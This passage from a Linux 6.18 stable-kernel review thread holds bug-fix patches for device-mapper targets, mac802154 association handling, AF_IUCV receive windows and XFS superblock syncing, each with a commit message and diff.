static void free_migration(struct dm_cache_migration *mg)
{
- struct cache *cache = mg->cache;
-
- if (atomic_dec_and_test(&cache->nr_allocated_migrations))
- wake_up(&cache->migration_wait);
-
- mempool_free(mg, &cache->migration_pool);
+ mempool_free(mg, &mg->cache->migration_pool);
}
/*----------------------------------------------------------------*/
@@ -1029,34 +1025,39 @@ static void calc_discard_block_range(str
static void prevent_background_work(struct cache *cache)
{
- lockdep_off();
- down_write(&cache->background_work_lock);
- lockdep_on();
+ spin_lock_irq(&cache->background_work_lock);
+ cache->background_work_allowed = false;
+ wait_event_lock_irq(cache->background_work_wait,
+ cache->background_work_nr == 0,
+ cache->background_work_lock);
+ spin_unlock_irq(&cache->background_work_lock);
}
static void allow_background_work(struct cache *cache)
{
- lockdep_off();
- up_write(&cache->background_work_lock);
- lockdep_on();
+ spin_lock_irq(&cache->background_work_lock);
+ cache->background_work_allowed = true;
+ spin_unlock_irq(&cache->background_work_lock);
}
static bool background_work_begin(struct cache *cache)
{
bool r;
- lockdep_off();
- r = down_read_trylock(&cache->background_work_lock);
- lockdep_on();
-
+ spin_lock_irq(&cache->background_work_lock);
+ r = cache->background_work_allowed;
+ if (r)
+ cache->background_work_nr++;
+ spin_unlock_irq(&cache->background_work_lock);
return r;
}
static void background_work_end(struct cache *cache)
{
- lockdep_off();
- up_read(&cache->background_work_lock);
- lockdep_on();
+ spin_lock_irq(&cache->background_work_lock);
+ if (--cache->background_work_nr == 0)
+ wake_up(&cache->background_work_wait);
+ spin_unlock_irq(&cache->background_work_lock);
}
/*----------------------------------------------------------------*/
@@ -2515,9 +2516,7 @@ static int cache_create(struct cache_arg
spin_lock_init(&cache->lock);
bio_list_init(&cache->deferred_bios);
- atomic_set(&cache->nr_allocated_migrations, 0);
atomic_set(&cache->nr_io_migrations, 0);
- init_waitqueue_head(&cache->migration_wait);
r = -ENOMEM;
atomic_set(&cache->nr_dirty, 0);
@@ -2600,8 +2599,10 @@ static int cache_create(struct cache_arg
issue_op, cache, cache->wq);
dm_iot_init(&cache->tracker);
- init_rwsem(&cache->background_work_lock);
- prevent_background_work(cache);
+ init_waitqueue_head(&cache->background_work_wait);
+ spin_lock_init(&cache->background_work_lock);
+ cache->background_work_allowed = false;
+ cache->background_work_nr = 0;
*result = cache;
return 0;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 123/193] dm-crypt: fix a tiny race condition in crypt_dec_pending
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (121 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 122/193] dm cache: fix issue with background work locking Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 124/193] dm-ebs: fix incorrect device offset check in ebs_ctr() Greg Kroah-Hartman
` (80 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jose Fernandez (Anthropic),
Ben Cressey, Mikulas Patocka
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ben Cressey <ben@cressey.dev>
commit 148845aa1921d95ef5dc851c76e6a284f6657df6 upstream.
crypt_dec_pending reads io->error before calling atomic_dec_and_test.
Another context, for example crypt_endio called from an interrupt, may
set io->error and drop its reference between the read and the
decrement. crypt_dec_pending then drops the last reference and completes
the bio with the stale status - so a read that failed and was never
decrypted, or a write that failed, is reported as successful.
The read was placed before the decrement by commit b35f8caa0890 ("dm
crypt: wait for endio to complete before destruction"), because that
commit freed dm_crypt_io before calling bio_endio. This is no longer the
case, dm_crypt_io lives in the per-bio data now.
Read io->error after atomic_dec_and_test instead. atomic_dec_and_test is
fully ordered, so no additional barrier is needed.
Fixes: b35f8caa0890 ("dm crypt: wait for endio to complete before destruction")
Cc: stable@vger.kernel.org
Reviewed-by: Jose Fernandez (Anthropic) <jose.fernandez@linux.dev>
Signed-off-by: Ben Cressey <ben@cressey.dev>
Assisted-by: Claude:unspecified
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-crypt.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/drivers/md/dm-crypt.c
+++ b/drivers/md/dm-crypt.c
@@ -1820,7 +1820,6 @@ static void crypt_dec_pending(struct dm_
{
struct crypt_config *cc = io->cc;
struct bio *base_bio = io->base_bio;
- blk_status_t error = io->error;
if (!atomic_dec_and_test(&io->io_pending))
return;
@@ -1842,7 +1841,7 @@ static void crypt_dec_pending(struct dm_
else
kfree(io->integrity_metadata);
- base_bio->bi_status = error;
+ base_bio->bi_status = io->error;
bio_endio(base_bio);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 124/193] dm-ebs: fix incorrect device offset check in ebs_ctr()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (122 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 123/193] dm-crypt: fix a tiny race condition in crypt_dec_pending Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 125/193] dm-integrity: fix infinite loop on discard with large tag size Greg Kroah-Hartman
` (79 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Genjian Zhang, Mikulas Patocka
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Genjian Zhang <zhanggenjian@kylinos.cn>
commit 7ac81e2d2240f2c57bd073b0733e0b2abca38e82 upstream.
<offset> is a backing-device sector offset; ti->len is the virtual
target length. Comparing them rejects valid tables, e.g.:
dmsetup create ebs0 --table "0 1048576 ebs /dev/sda 2097152 1 8"
-> ebs: Invalid device offset sector (-EINVAL)
Drop the check. Bounds against the backing device are already
enforced later by device_area_is_invalid() via ebs_iterate_devices().
Cc: stable@vger.kernel.org
Fixes: d3c7b35c20d6 ("dm: add emulated block size target")
Signed-off-by: Genjian Zhang <zhanggenjian@kylinos.cn>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-ebs-target.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/drivers/md/dm-ebs-target.c
+++ b/drivers/md/dm-ebs-target.c
@@ -265,8 +265,7 @@ static int ebs_ctr(struct dm_target *ti,
r = -EINVAL;
if (sscanf(argv[1], "%llu%c", &tmp, &dummy) != 1 ||
- tmp != (sector_t)tmp ||
- (sector_t)tmp >= ti->len) {
+ tmp != (sector_t)tmp) {
ti->error = "Invalid device offset sector";
goto bad;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 125/193] dm-integrity: fix infinite loop on discard with large tag size
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (123 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 124/193] dm-ebs: fix incorrect device offset check in ebs_ctr() Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 126/193] dm-integrity: require stable writes for internal hash modes Greg Kroah-Hartman
` (78 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jose Fernandez (Anthropic),
Ben Cressey, Mikulas Patocka
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ben Cressey <ben@cressey.dev>
commit 18d80c77b4c7dd20699e81cedfbbff4e9d198f28 upstream.
When integrity_metadata handles a discard, it fills a buffer with
DISCARD_FILLER and writes it over the tags, max_blocks blocks at a
time. If the kmalloc fails, the buffer is the on-stack array
checksums_onstack and max_size is set to HASH_MAX_DIGESTSIZE. So if the
tag size is larger than HASH_MAX_DIGESTSIZE, max_blocks is zero, bi_size
is never decremented and the loop never terminates.
Fix this by using sizeof(checksums_onstack) as max_size. The array has
MAX_TAG_SIZE bytes since commit b93b6643e9b5 ("dm integrity: fix a
crash with unusually large tag size"), so max_blocks is at least 1.
Fixes: 84597a44a9d8 ("dm integrity: add optional discard support")
Cc: stable@vger.kernel.org
Reviewed-by: Jose Fernandez (Anthropic) <jose.fernandez@linux.dev>
Signed-off-by: Ben Cressey <ben@cressey.dev>
Assisted-by: Claude:unspecified
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-integrity.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/md/dm-integrity.c
+++ b/drivers/md/dm-integrity.c
@@ -1979,7 +1979,7 @@ static void integrity_metadata(struct wo
if (unlikely(dio->op == REQ_OP_DISCARD)) {
unsigned int bi_size = dio->bio_details.bi_iter.bi_size;
- unsigned int max_size = likely(checksums != checksums_onstack) ? PAGE_SIZE : HASH_MAX_DIGESTSIZE;
+ unsigned int max_size = likely(checksums != checksums_onstack) ? PAGE_SIZE : sizeof(checksums_onstack);
unsigned int max_blocks = (max_size - extra_space) / ic->tag_size;
sector_t sector = dio->range.logical_sector;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 126/193] dm-integrity: require stable writes for internal hash modes
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (124 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 125/193] dm-integrity: fix infinite loop on discard with large tag size Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 127/193] mac802154: fix data race and NULL deref on local->assoc_dev Greg Kroah-Hartman
` (77 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sun Yangkai, Chen Cheng,
Mikulas Patocka
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chen Cheng <chencheng@fnnas.com>
commit b2fd92f016e9d692fd3c8c08d0ee014e9212279d upstream.
dm-integrity direct, bitmap and inline internal-hash modes compute
integrity tags from the pages carried by the write bio. The lower data
write also uses those pages, so the tag and the data write depend on the
same memory contents staying unchanged while writeback is in flight.
Without stable writes, a buffered writer can modify a writeback folio
after dm-integrity has submitted the data bio and before the lower device
has consumed the data. After a crash, this can leave data from the later
contents with a tag calculated from the earlier contents, causing
permanent checksum failures on read.
Set BLK_FEAT_STABLE_WRITES for internal-hash D, B and I modes so
filesystems wait for writeback folios to become stable before modifying
them again. Journal mode is left unchanged because it copies data into
the journal before computing and persisting the tag.
Tested using dm-delay over a virtio-blk test disk, dm-integrity
internal_hash:crc32c and no-journal ext4. The D and B reproducers both
failed with checksum errors before this change and completed with
READ_RC=0 and zero mismatches after it.
Fixes: 7eada909bfd7 ("dm: add integrity target")
Cc: stable@vger.kernel.org
Reported-by: Sun Yangkai <sunyangkai@fygo.io>
Link: https://github.com/chencheng-fnnas/reproducer/blob/main/dm-integrity-writeback-race.py
Signed-off-by: Chen Cheng <chencheng@fnnas.com>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-integrity.c | 4 ++++
1 file changed, 4 insertions(+)
--- a/drivers/md/dm-integrity.c
+++ b/drivers/md/dm-integrity.c
@@ -4179,6 +4179,10 @@ static void dm_integrity_io_hints(struct
limits->discard_granularity = ic->sectors_per_block << SECTOR_SHIFT;
}
+ if (ic->internal_hash &&
+ (ic->mode == 'D' || ic->mode == 'B' || ic->mode == 'I'))
+ limits->features |= BLK_FEAT_STABLE_WRITES;
+
if (!ic->internal_hash) {
struct blk_integrity *bi = &limits->integrity;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 127/193] mac802154: fix data race and NULL deref on local->assoc_dev
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (125 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 126/193] dm-integrity: require stable writes for internal hash modes Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 128/193] net/iucv: fix the recvmsg window update Greg Kroah-Hartman
` (76 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Miquel Raynal, Xuanqiang Luo,
Kaiwen Shi, Xuanqiang Luo, Paolo Abeni
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
commit c037915f80c4db47f7d061d68e703ffd551b1a34 upstream.
local->assoc_dev is shared between the association path and the
association-response worker without common synchronization.
mac802154_perform_association() stores the coordinator pointer and waits
for a response. Its timeout and error paths clear the pointer and return
to mac802154_associate(), which may then free the coordinator object.
Meanwhile, mac802154_rx_mac_cmd_worker() may observe the associating bit
and enter mac802154_process_association_resp(), which dereferences
assoc_dev.
The worker's bit test and the handler's pointer dereference are not
atomic with respect to cleanup. Cleanup can clear assoc_dev between them,
causing a NULL dereference, or free the coordinator while the response
handler still uses the pointer.
The recorded result is exposed to the same window. assoc_status and
assoc_addr are written by the handler but read by the association path
while the associating bit is still set, so a second response for the same
request - a malicious one, for instance - can replace them between those
reads and leave the caller with an incoherent status and address pair.
The response handler only needs the coordinator extended address.
Replace assoc_dev with a cached address, removing the pointer lifetime
dependency. Protect the cached address and the associating bit with a
dedicated spinlock. A READ_ONCE()/WRITE_ONCE() pair would not guarantee
an atomic __le64 access on all 32-bit architectures.
wpan_dev->association_lock cannot be reused here: nl802154_associate()
holds it across rdev_associate(), hence for the whole of
mac802154_perform_association() including the wait for the response.
A response handler taking that lock would only get it once the
association has already given up.
Reset the completion, publish the cached address, and set the associating
bit while holding the lock. The response handler takes the lock, rechecks
the bit and the cached address, records the response, clears the bit, and
only then completes the waiter. Thus cleanup cannot pass the handler
between its state check and completion, and the cached 64-bit value
cannot tear.
The handler clears the bit before completing, not the woken waiter:
otherwise complete() is issued under the lock and a second (e.g.
malicious) response can reacquire it before the waiter and replace the
result. So a wait that returns success implies the bit is already clear,
and the success and negative-response paths return directly. The
transmit-error and timeout paths still clear it under assoc_lock, which
serializes any racing response against the cleanup while the call returns
the error it already selected. Both paths snapshot assoc_status and
assoc_addr under the same lock.
Both users run in process context, so a plain spinlock is sufficient.
The lock is not held while waiting for the completion.
Suggested-by: Miquel Raynal <miquel.raynal@bootlin.com>
Suggested-by: Xuanqiang Luo <xuanqiang.luo@linux.dev>
Fixes: fefd19807fe9 ("mac802154: Handle associating")
Cc: stable@vger.kernel.org
Signed-off-by: Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
Reviewed-by: Xuanqiang Luo <luoxuanqiang@kylinos.cn>
Reviewed-by: Miquel Raynal <miquel.raynal@bootlin.com>
Link: https://patch.msgid.link/20260829230551.1787432-1-skwkevin@mail.ustc.edu.cn
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/mac802154/ieee802154_i.h | 7 +++++
net/mac802154/main.c | 1
net/mac802154/scan.c | 51 ++++++++++++++++++++++++++++++++-----------
3 files changed, 45 insertions(+), 14 deletions(-)
--- a/net/mac802154/ieee802154_i.h
+++ b/net/mac802154/ieee802154_i.h
@@ -80,7 +80,12 @@ struct ieee802154_local {
spinlock_t rx_lock;
/* Association */
- struct ieee802154_pan_device *assoc_dev;
+ /* assoc_lock protects assoc_dev_extended_addr, assoc_addr,
+ * assoc_status, the assoc_done reinit/complete pairing and the
+ * IEEE802154_IS_ASSOCIATING bit in @ongoing.
+ */
+ spinlock_t assoc_lock;
+ __le64 assoc_dev_extended_addr;
struct completion assoc_done;
__le16 assoc_addr;
u8 assoc_status;
--- a/net/mac802154/main.c
+++ b/net/mac802154/main.c
@@ -105,6 +105,7 @@ ieee802154_alloc_hw(size_t priv_data_len
INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
init_completion(&local->assoc_done);
+ spin_lock_init(&local->assoc_lock);
/* init supported flags with 802.15.4 default ranges */
phy->supported.max_minbe = 8;
--- a/net/mac802154/scan.c
+++ b/net/mac802154/scan.c
@@ -532,7 +532,9 @@ int mac802154_perform_association(struct
struct ieee802154_association_req_frame frame = {};
struct ieee802154_local *local = sdata->local;
struct wpan_dev *wpan_dev = &sdata->wpan_dev;
+ __le16 resp_short_addr;
struct sk_buff *skb;
+ u8 resp_status;
int ret;
frame.mhr.fc.type = IEEE802154_FC_TYPE_MAC_CMD;
@@ -574,9 +576,11 @@ int mac802154_perform_association(struct
return ret;
}
- local->assoc_dev = coord;
+ spin_lock(&local->assoc_lock);
reinit_completion(&local->assoc_done);
+ local->assoc_dev_extended_addr = coord->extended_addr;
set_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing);
+ spin_unlock(&local->assoc_lock);
ret = ieee802154_mlme_tx_one_locked(local, sdata, skb);
if (ret) {
@@ -595,25 +599,37 @@ int mac802154_perform_association(struct
goto clear_assoc;
}
- if (local->assoc_status != IEEE802154_ASSOCIATION_SUCCESSFUL) {
- if (local->assoc_status == IEEE802154_PAN_AT_CAPACITY)
+ /* The association is complete: mac802154_process_association_resp()
+ * cleared the associating bit before waking us, so a second (e.g.
+ * malicious) ASSOC RESP can no longer pass the recheck and overwrite
+ * the result. Snapshot assoc_status/assoc_addr under the lock.
+ */
+ spin_lock(&local->assoc_lock);
+ resp_status = local->assoc_status;
+ resp_short_addr = local->assoc_addr;
+ spin_unlock(&local->assoc_lock);
+
+ if (resp_status != IEEE802154_ASSOCIATION_SUCCESSFUL) {
+ if (resp_status == IEEE802154_PAN_AT_CAPACITY)
ret = -ERANGE;
else
ret = -EPERM;
dev_warn(&sdata->dev->dev,
"Negative ASSOC RESP received from %8phC: %s\n", &ceaddr,
- local->assoc_status == IEEE802154_PAN_AT_CAPACITY ?
+ resp_status == IEEE802154_PAN_AT_CAPACITY ?
"PAN at capacity" : "access denied");
- goto clear_assoc;
+ return ret;
}
- ret = 0;
- *short_addr = local->assoc_addr;
+ *short_addr = resp_short_addr;
+
+ return 0;
clear_assoc:
+ spin_lock(&local->assoc_lock);
clear_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing);
- local->assoc_dev = NULL;
+ spin_unlock(&local->assoc_lock);
return ret;
}
@@ -635,19 +651,28 @@ int mac802154_process_association_resp(s
dest->mode != IEEE802154_EXTENDED_ADDRESSING))
return -EINVAL;
- if (unlikely(dest->extended_addr != wpan_dev->extended_addr ||
- src->extended_addr != local->assoc_dev->extended_addr))
+ spin_lock(&local->assoc_lock);
+ if (unlikely(!test_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing) ||
+ dest->extended_addr != wpan_dev->extended_addr ||
+ src->extended_addr != local->assoc_dev_extended_addr)) {
+ spin_unlock(&local->assoc_lock);
return -ENODEV;
+ }
memcpy(&resp_pl, skb->data, sizeof(resp_pl));
local->assoc_addr = resp_pl.short_addr;
local->assoc_status = resp_pl.status;
+ /* Clear the associating bit before waking the waiter: once the result
+ * is saved, any subsequent (e.g. malicious) ASSOC RESP must fail the
+ * test_bit() recheck above and can no longer overwrite the result.
+ */
+ clear_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing);
+ complete(&local->assoc_done);
+ spin_unlock(&local->assoc_lock);
dev_dbg(&skb->dev->dev,
"ASSOC RESP 0x%x received from %8phC, getting short address %04x\n",
- local->assoc_status, &deaddr, local->assoc_addr);
-
- complete(&local->assoc_done);
+ resp_pl.status, &deaddr, resp_pl.short_addr);
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 128/193] net/iucv: fix the recvmsg window update
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (126 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 127/193] mac802154: fix data race and NULL deref on local->assoc_dev Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 129/193] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf Greg Kroah-Hartman
` (75 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Aswin Karuvally, Bryam Vargas,
Alexandra Winter, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bryam Vargas <hexlabsecurity@proton.me>
commit fa5acd038ea657ad5033713d6916214cbd349151 upstream.
iucv_sock_recvmsg() sends the HiperSockets-only AF_IUCV_FLAG_WIN without
testing the transport, so on a classic z/VM socket iucv_send_ctrl() sizes
the skb through a NULL iucv->hs_dev. SO_MSGLIMIT accepts 1, so msglimit / 2
is zero and one recvmsg() on its own socket is enough for an unprivileged
process to take a spurious disconnect.
It also calls iucv_send_ctrl() under spin_lock_bh(&message_q.lock), which
allocates GFP_KERNEL inside a section the code treats as atomic. Sending
outside that lock lets two recvmsg() reach afiucv_hs_send() at once, where
msg_recv is sampled for the advertised window and subtracted after
dev_queue_xmit() -- and sendmsg reaches that counter under lock_sock()
while recvmsg holds no socket lock, so both can subtract the same value,
the counter goes negative and the credit reaches the peer twice.
Test the transport, claim the credit with atomic_xchg() after the last
error exit and hand it back if the transmit fails, and send once the lock
is dropped.
Fixes: 3881ac441f64 ("af_iucv: add HiperSockets transport")
Fixes: 238965b71b96 ("net/af_iucv: build proper skbs for HiperTransport")
Cc: stable@vger.kernel.org
Tested-by: Aswin Karuvally <aswin@linux.ibm.com>
Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
Reviewed-by: Alexandra Winter <wintera@linux.ibm.com>
Link: https://patch.msgid.link/20260828-b4-disp-33fac0ed-v3-1-e6d061880ee0@proton.me
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/iucv/af_iucv.c | 42 +++++++++++++++++++++++++-----------------
1 file changed, 25 insertions(+), 17 deletions(-)
--- a/net/iucv/af_iucv.c
+++ b/net/iucv/af_iucv.c
@@ -208,12 +208,6 @@ static int afiucv_hs_send(struct iucv_me
phs_hdr->flags = flags;
if (flags == AF_IUCV_FLAG_SYN)
phs_hdr->window = iucv->msglimit;
- else if ((flags == AF_IUCV_FLAG_WIN) || !flags) {
- confirm_recv = atomic_read(&iucv->msg_recv);
- phs_hdr->window = confirm_recv;
- if (confirm_recv)
- phs_hdr->flags = phs_hdr->flags | AF_IUCV_FLAG_WIN;
- }
memcpy(phs_hdr->destUserID, iucv->dst_user_id, 8);
memcpy(phs_hdr->destAppName, iucv->dst_name, 8);
memcpy(phs_hdr->srcUserID, iucv->src_user_id, 8);
@@ -248,13 +242,22 @@ static int afiucv_hs_send(struct iucv_me
}
skb->protocol = cpu_to_be16(ETH_P_AF_IUCV);
+ /* Claim the receive credit here, not while building the header: every
+ * way this frame can be dropped has now been ruled out, so the window
+ * is zeroed only for as long as the transmit itself takes.
+ */
+ if (flags == AF_IUCV_FLAG_WIN || !flags) {
+ confirm_recv = atomic_xchg(&iucv->msg_recv, 0);
+ phs_hdr->window = confirm_recv;
+ if (confirm_recv)
+ phs_hdr->flags = phs_hdr->flags | AF_IUCV_FLAG_WIN;
+ }
+
atomic_inc(&iucv->skbs_in_xmit);
err = dev_queue_xmit(skb);
if (net_xmit_eval(err)) {
atomic_dec(&iucv->skbs_in_xmit);
- } else {
- atomic_sub(confirm_recv, &iucv->msg_recv);
- WARN_ON(atomic_read(&iucv->msg_recv) < 0);
+ atomic_add(confirm_recv, &iucv->msg_recv);
}
return net_xmit_eval(err);
@@ -1238,6 +1241,7 @@ static int iucv_sock_recvmsg(struct sock
struct iucv_sock *iucv = iucv_sk(sk);
unsigned int copied, rlen;
struct sk_buff *skb, *rskb, *cskb;
+ bool send_win = false;
int err = 0;
u32 offset;
@@ -1328,16 +1332,20 @@ static int iucv_sock_recvmsg(struct sock
if (skb_queue_empty(&iucv->backlog_skb_q)) {
if (!list_empty(&iucv->message_q.list))
iucv_process_message_q(sk);
- if (atomic_read(&iucv->msg_recv) >=
- iucv->msglimit / 2) {
- err = iucv_send_ctrl(sk, AF_IUCV_FLAG_WIN);
- if (err) {
- sk->sk_state = IUCV_DISCONN;
- sk->sk_state_change(sk);
- }
- }
+ if (iucv->transport == AF_IUCV_TRANS_HIPER &&
+ atomic_read(&iucv->msg_recv) >=
+ iucv->msglimit / 2)
+ send_win = true;
}
spin_unlock_bh(&iucv->message_q.lock);
+
+ if (send_win) {
+ err = iucv_send_ctrl(sk, AF_IUCV_FLAG_WIN);
+ if (err) {
+ sk->sk_state = IUCV_DISCONN;
+ sk->sk_state_change(sk);
+ }
+ }
}
done:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 129/193] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (127 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 128/193] net/iucv: fix the recvmsg window update Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 130/193] xfs: fix capability check in xfs Greg Kroah-Hartman
` (74 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+837bcd54843dd6262f2f,
Yun Zhou, Christoph Hellwig, Carlos Maiolino
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yun Zhou <yun.zhou@windriver.com>
commit 41a28c865d1d5843f8cb9e0af17a8f4d9e2961ff upstream.
xfs_sync_sb_buf() holds sb/rtsb buffer locks across a synchronous
xfs_trans_commit(), which flushes the CIL push workqueue internally.
If shutdown occurs during the CIL push, xfs_buf_item_unpin() needs to
lock these buffers to fail them, causing a deadlock:
setlabel: holds buf lock -> flush_workqueue(xfs-cil)
CIL push worker: xfs_buf_item_unpin -> xfs_buf_lock(same buf)
Remove the xfs_trans_bhold() calls so that commit releases the buffer
locks normally. After the sync commit, re-acquire the buffers via
mp->m_sb_bp / mp->m_rtsb_bp for the on-disk writeback.
Fixes: f7664b31975b ("xfs: implement online get/set fs label")
Reported-by: syzbot+837bcd54843dd6262f2f@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=837bcd54843dd6262f2f
Cc: stable@vger.kernel.org
Signed-off-by: Yun Zhou <yun.zhou@windriver.com>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Carlos Maiolino <cem@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/xfs/libxfs/xfs_rtgroup.h | 6 +++++-
fs/xfs/libxfs/xfs_sb.c | 37 +++++++++++++++++--------------------
2 files changed, 22 insertions(+), 21 deletions(-)
--- a/fs/xfs/libxfs/xfs_rtgroup.h
+++ b/fs/xfs/libxfs/xfs_rtgroup.h
@@ -367,7 +367,11 @@ static inline int xfs_initialize_rtgroup
# define xfs_rtgroup_unlock(rtg, gf) ((void)0)
# define xfs_rtgroup_trans_join(tp, rtg, gf) ((void)0)
# define xfs_update_rtsb(bp, sb_bp) ((void)0)
-# define xfs_log_rtsb(tp, sb_bp) (NULL)
+static inline struct xfs_buf *xfs_log_rtsb(struct xfs_trans *tp,
+ const struct xfs_buf *sb_bp)
+{
+ return NULL;
+}
# define xfs_rtgroup_get_geometry(rtg, rgeo) (-EOPNOTSUPP)
#endif /* CONFIG_XFS_RT */
--- a/fs/xfs/libxfs/xfs_sb.c
+++ b/fs/xfs/libxfs/xfs_sb.c
@@ -1467,36 +1467,33 @@ xfs_sync_sb_buf(
bool update_rtsb)
{
struct xfs_trans *tp;
- struct xfs_buf *bp;
- struct xfs_buf *rtsb_bp = NULL;
int error;
error = xfs_trans_alloc(mp, &M_RES(mp)->tr_sb, 0, 0, 0, &tp);
if (error)
return error;
- bp = xfs_trans_getsb(tp);
xfs_log_sb(tp);
- xfs_trans_bhold(tp, bp);
- if (update_rtsb) {
- rtsb_bp = xfs_log_rtsb(tp, bp);
- if (rtsb_bp)
- xfs_trans_bhold(tp, rtsb_bp);
- }
+ if (update_rtsb)
+ xfs_log_rtsb(tp, xfs_trans_getsb(tp));
xfs_trans_set_sync(tp);
error = xfs_trans_commit(tp);
if (error)
- goto out;
- /*
- * write out the sb buffer to get the changes to disk
- */
- error = xfs_bwrite(bp);
- if (!error && rtsb_bp)
- error = xfs_bwrite(rtsb_bp);
-out:
- if (rtsb_bp)
- xfs_buf_relse(rtsb_bp);
- xfs_buf_relse(bp);
+ return error;
+
+ /* Re-acquire and write the sb and rtsb to disk. */
+ xfs_buf_lock(mp->m_sb_bp);
+ error = xfs_bwrite(mp->m_sb_bp);
+ xfs_buf_unlock(mp->m_sb_bp);
+ if (error)
+ return error;
+
+ if (update_rtsb && mp->m_rtsb_bp) {
